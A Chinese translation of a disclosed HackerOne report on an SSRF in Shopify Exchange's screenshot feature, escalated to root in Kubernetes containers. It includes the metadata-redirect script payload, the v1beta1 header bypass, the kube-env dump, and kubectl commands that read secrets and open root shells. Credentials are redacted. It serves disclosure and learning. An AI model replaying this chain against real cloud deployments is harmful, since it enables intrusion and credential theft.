漏洞利用链 - 如何获得所有 Shopify 实例的 root 访问权限

.|| · 2022年7月27日

本文源于hackerone漏洞报告：https://hackerone.com/reports/341876

概要

Shopify 基础架构被隔离为基础架构的子集。@0xacb报告说，通过利用 Shopify Exchange 屏幕截图功能中的服务器端请求伪造漏洞，可以获得对某个特定子集中的任何容器的 root 访问权限。在收到报告的一个小时内，我们禁用了易受攻击的服务，开始审核所有子集中的应用程序并在我们所有的基础设施中进行修复。

在审核了所有服务后，我们的修复方案是：通过部署元数据隐藏代理来禁用对元数据信息的访，我们还禁用了对所有基础设施子集的内部 IP 的访问。我们给予@0xacb 25,000 美元作为赏金，因为该子集中的某些应用程序确实可以访问某些 Shopify 核心数据和系统。

--- Shopify

漏洞详情

步骤一：访问 Google Cloud 元数据

1：创建商店（partners.shopify.com）

2：编辑模板password.liquid，添加如下内容：

<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
// iframe 在这里不起作用，因为 Google Cloud 设置了 `X-Frame-Options: SAMEORIGIN` 标头。
</script>

3：转到https://exchange.shopify.com/create-a-listing并安装 Exchange 应用程序

4：等待店铺截图出现在 Create Listing 页面上

5：下载PNG并使用图像编辑软件打开或将其转换为JPEG（Chrome显示黑色PNG）

在 Google Cloud 实例中探索 SSRF 需要一个特殊的header(标头)。但是，我在阅读文档时发现“绕过”它的非常简单的方法：/v1beta1端点仍然可用，不需要Metadata-Flavor: Google标头并且仍然返回相同的令牌。

我试图泄露更多数据，但网络截图软件没有生成任何application/text响应图像。但是，我发现我可以添加参数alt=json来强制application/json响应。我设法泄露了更多数据，例如不完整的 SSH 公钥列表（包括电子邮件地址）、项目名称、实例名称等：

<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
</script>

但是不能使用泄露的令牌添加我的 SSH 密钥：

curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}'

{
 "error": {
  "errors": [
   {
    "domain": "global",
    "reason": "forbidden",
    "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'"
   },
   {
    "domain": "global",
    "reason": "forbidden",
    "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'"
   }
  ],
  "code": 403,
  "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'"
 }
}

我检查了此令牌的范围，并且没有对 Compute Engine API 的读/写访问权限：

curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████"

{
 "issued_to": "███████",
 "audience": "███",
 "scope": "https://www.googleapis.com/auth/cloud-platform",
 "expires_in": 1307,
 "access_type": "offline"
}

步骤二：转储 kube-env

我创建了一个新商店并递归地从此实例中提取属性：
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

元数据隐藏（https://cloud.google.com/kubernetes-engine/docs/how-to/metadata-concealment）未启用，因此该kube-env属性可用。

由于图像被裁剪，我向：http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json提出了一个新请求，以便查看 Kubelet 证书的其余部分和Kubelet 私钥。

ca.crt

client.crt

client.pem

则MASTER_NAME：█████

步骤三：使用 Kubelet 执行任意命令

可以列出所有 pod

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces

NAMESPACE                                   NAME                                                              READY     STATUS             RESTARTS   AGE
████████                    ██████████                    1/1

并创建新的 pod：

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml

pod "shell-demo" created
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo

pod "shell-demo" deleted

我没有尝试删除正在运行的 pod，显然，我不确定是否可以使用 user 删除它们████████。但是，无法在这个新 pod 或任何其他 pod 中执行命令：

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash

Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███"

该get secrets命令不起作用，但可以提供给定的 pod 并使用其名称获取秘密。这就是我使用████命名空间中的实例泄露 kubernetes.io 服务帐户令牌的方式████：

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████

Name:           ████████
Namespace:      ██████
Node:           ██████████
Start Time:     Fri, 23 Mar 2018 13:53:13 +0000
Labels:         █████
                ████
                █████
Annotations:    <none>
Status:         Running
IP:             █████████
Controlled By:  █████
Containers:
  default-http-backend:
    Container ID:   docker://███
    Image:          ██████
    Image ID:       docker-pullable://█████
    Port:           ████/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Sun, 22 Apr 2018 03:23:09 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    2
      Started:      Fri, 20 Apr 2018 23:39:21 +0000
      Finished:     Sun, 22 Apr 2018 03:23:07 +0000
    Ready:          True
    Restart Count:  180
    Limits:
      cpu:     10m
      memory:  20Mi
    Requests:
      cpu:        10m
      memory:     20Mi
    Liveness:     http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3
    Environment:  <none>
    Mounts:
      ██████
Conditions:
  Type           Status
  Initialized    True
  Ready          True
  PodScheduled   True
Volumes:
 ██████████:
    Type:        Secret (a volume populated by a Secret)
    SecretName: ███████
    Optional:    false
QoS Class:       Guaranteed
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s
                 node.kubernetes.io/unreachable:NoExecute for 300s
Events:          <none>

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml

apiVersion: v1
data:
  ca.crt: ██████████
  namespace: ████
  token: ██████████==
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: default
    kubernetes.io/service-account.uid: ████
  creationTimestamp: 2017-01-23T16:08:19Z
  name:█████
  namespace: ██████████
  resourceVersion: "115481155"
  selfLink: /api/v1/namespaces/████████/secrets/████
  uid: █████████
type: kubernetes.io/service-account-token

最后，可以使用此令牌在任何容器中获取shell：

$ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash

Defaulting container name to web.
Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.
███████:/# id
uid=0(root) gid=0(root) groups=0(root)
█████:/# ls
app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr
███████:/# exit

$ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash

Defaulting container name to web.
Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod.
root@████:/# id
uid=0(root) gid=0(root) groups=0(root)
root@████:/# ls
app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr
root@█████:/# exit

影响

可以绕过网络访问控制访问内部服务
可以访问到谷歌云元数据